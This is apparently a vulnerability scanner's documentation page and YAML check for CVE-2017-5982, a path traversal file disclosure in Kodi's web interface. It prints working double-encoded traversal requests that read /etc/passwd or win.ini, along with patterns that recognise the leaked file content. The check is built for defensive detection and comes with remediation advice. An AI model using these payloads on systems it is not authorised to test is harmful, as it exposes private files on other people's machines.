Kodi — 1 vulnerability check
noctis ships 1 vulnerability check for Kodi, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Kodi Web Interface Arbitrary File Disclosure
| CVE | CVE-2017-5982 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/kodi/CVE-2017-5982.yaml |
Tests the Kodi web interface for the unauthenticated arbitrary file disclosure in the /image/ thumbnail handler. A double-encoded "../" in the image:// URL reads a benign system file (/etc/passwd or windows/win.ini); when its content comes back in an HTTP 200 response, the same request is sent for an absent file in a random missing directory, and the vulnerability is reported only when that control gets an HTTP reply without file content, so a server that answers every path with the same file is not reported.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /image/image%3A%2F%2F{{traversal}} HTTP/1.0 - Checks
image_resp.bannerfor(?s)^HTTP/1\.[01] 200.*(root:[x*!]?:0:0:|\[(fonts|extensions)\]) - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /image/image%3A%2F%2F{{ctrl_traversal}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
image_hitfor^yes$→ finding QoD 75: Kodi Web Interface Arbitrary File Disclosure (CVE-2017-5982)
References:
Feed source — tests/vulnerabilities/kodi/CVE-2017-5982.yaml
# Kodi web interface arbitrary file disclosure — CVE-2017-5982
#
# Kodi (before 17.1) serves thumbnails through /image/<url-encoded image:// URL>.
# The inner path is URL-decoded a second time and never checked for "../", so an
# unauthenticated request such as
# /image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd
# (→ image://..%2fetc%2fpasswd → ../etc/passwd) returns any file readable by the
# Kodi process.
#
# Detection = real exploitation with a benign proof: read a world-readable system
# file and match its signature together with an HTTP 200 status line (the NASL's
# check_header). The payload carries %2e / %252f, so it is sent verbatim over
# HTTP/1.0 with tcp_connect (reqwest would normalise it) and matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2017/kodi/gb_kodi_file_disc_vuln.nasl
# (GPL-2.0-only): same URL shape, same files (traversal_files(): /etc/passwd and
# windows/win.ini). Improvements over the NASL:
# - no dependency on a prior Kodi product detection (the NASL only runs once
# gb_kodi_detect has registered the app) — the payload is Kodi-specific and
# the match needs the leaked file content, so it is safe to try directly;
# - after the NASL's single "../" probes, a deep variant ("../" × 8) reaches the
# filesystem root whatever Kodi's working directory is — the single "../"
# only works when the resolved base sits one level below the root, so the
# NASL misses installs with a deeper base. Verified on real Kodi builds
# (linuxserver/kodi-headless): 16.1 and 17.6 both answer the NASL URL with
# 404 but leak /etc/passwd through the deep variant; 18.3 answers 404 to both;
# - absent-file control (#2384): after a hit, the same URL with a random
# missing directory before the file name must come back without file
# content (fail closed), so catch-all servers are not reported;
# - optional HTTP Basic credentials from the scan request (see basic-auth-header),
# so a password-protected web interface is not a silent false negative.
uid: 1010dc75-a81e-475a-87f0-81b22be60550
name: "Kodi Web Interface Arbitrary File Disclosure (CVE-2017-5982)"
description: |
Tests the Kodi web interface for the unauthenticated arbitrary file disclosure in
the /image/ thumbnail handler. A double-encoded "../" in the image:// URL reads a
benign system file (/etc/passwd or windows/win.ini); when its content comes back
in an HTTP 200 response, the same request is sent for an absent file in a random
missing directory, and the vulnerability is reported only when that control gets
an HTTP reply without file content, so a server that answers every path with the
same file is not reported.
cves: [CVE-2017-5982]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [kodi, media-center, path-traversal, lfi, file-disclosure, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-5982"
- "https://www.exploit-db.com/exploits/41312"
# OpenVAS/Greenbone NASL 2017/kodi/gb_kodi_file_disc_vuln.nasl (GPL-2.0-only)
steps:
# The Kodi web server often sits behind HTTP Basic auth (webserver user/password).
# When the scan request carries credentials, send them so a protected install is
# still tested; otherwise the header stays empty and the probe goes out
# unauthenticated, as in the NASL. Credentials are only those supplied — this
# feed never guesses default ones.
- id: basic-auth-header
action: script
code: |
let h = "";
if cred_enabled && is_def_var("cred_username") {
let pw = "";
if is_def_var("cred_password") { pw = cred_password; }
h = "Authorization: Basic " + base64_encode(cred_username + ":" + pw) + "\r\n";
}
h
store_as: auth_header
# One request + one check per payload; the loop group (every step below) runs
# per payload and the first confirmed read stops it.
# 1-2: the NASL's exact URLs (single "../", traversal_files()).
# 3-4: deep variant ("../" × 8) for a Kodi base deeper than one level.
# Results are reset per iteration so a failed connect leaves an empty banner,
# not an undefined variable (or the previous payload's reply).
- id: init-image-resp
action: set_var
var_name: image_resp
var_value: {connected: false, banner: ""}
loop:
var: traversal
over:
- "%2e%2e%252fetc%252fpasswd"
- "%2e%2e%252fwindows%252fwin.ini"
- "%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252fetc%252fpasswd"
- "%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252fwindows%252fwin.ini"
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-image-hit
action: set_var
var_name: image_hit
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: image-traversal
action: tcp_connect
port: "{{port}}"
send: "GET /image/image%3A%2F%2F{{traversal}} HTTP/1.0\r\nHost: {{target_host}}\r\n{{auth_header}}\r\n"
timeout_secs: 10
store_as: image_resp
# No finding here: the reply carries the file. Raised below once the
# absent-file control is clean.
- id: image-traversal-match
action: match
source: image_resp.banner
# HTTP 200 (NASL check_header) AND the leaked file's signature:
# /etc/passwd root entry, or the win.ini [fonts]/[extensions] section.
pattern: "(?s)^HTTP/1\\.[01] 200.*(root:[x*!]?:0:0:|\\[(fonts|extensions)\\])"
on_match:
set_vars:
image_hit: "yes"
# ── Control: same request, absent file ──
# The same traversal with a random missing directory inserted before the file
# (still ending in etc/passwd or windows/win.ini), so a server that keys a fake
# file on that name answers it too. Kodi answers 404.
- id: image-control-path
action: script
condition: 'image_hit != ""'
code: |
ereg_replace("^(.*?)(%252f)(etc|windows)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", traversal)
store_as: ctrl_traversal
- id: image-control
action: tcp_connect
port: "{{port}}"
condition: 'image_hit != ""'
send: "GET /image/image%3A%2F%2F{{ctrl_traversal}} HTTP/1.0\r\nHost: {{target_host}}\r\n{{auth_header}}\r\n"
timeout_secs: 10
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without any file content.
- id: image-control-verdict
action: script
condition: 'image_hit != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[(fonts|extensions)\\]", b)
store_as: ctrl_clean
- id: image-traversal-report
action: match
source: image_hit
pattern: "^yes$"
condition: "ctrl_clean == true"
on_match:
finding:
title: "Kodi Web Interface Arbitrary File Disclosure (CVE-2017-5982)"
description: "A request to the Kodi /image/ thumbnail handler with a double-encoded '../' in the image:// URL returned HTTP 200 and the content of a system file, while the same request for an absent file did not, confirming the arbitrary file disclosure."
remediation: "Update Kodi to a release that rejects '..' in image:// paths (18.x or later; 17.6 was still found exploitable), protect the web interface with a password and do not expose it to untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /image/image%3A%2F%2F{{traversal}} returned the content of a system file (HTTP 200); the same request for an absent file did not"
stop: true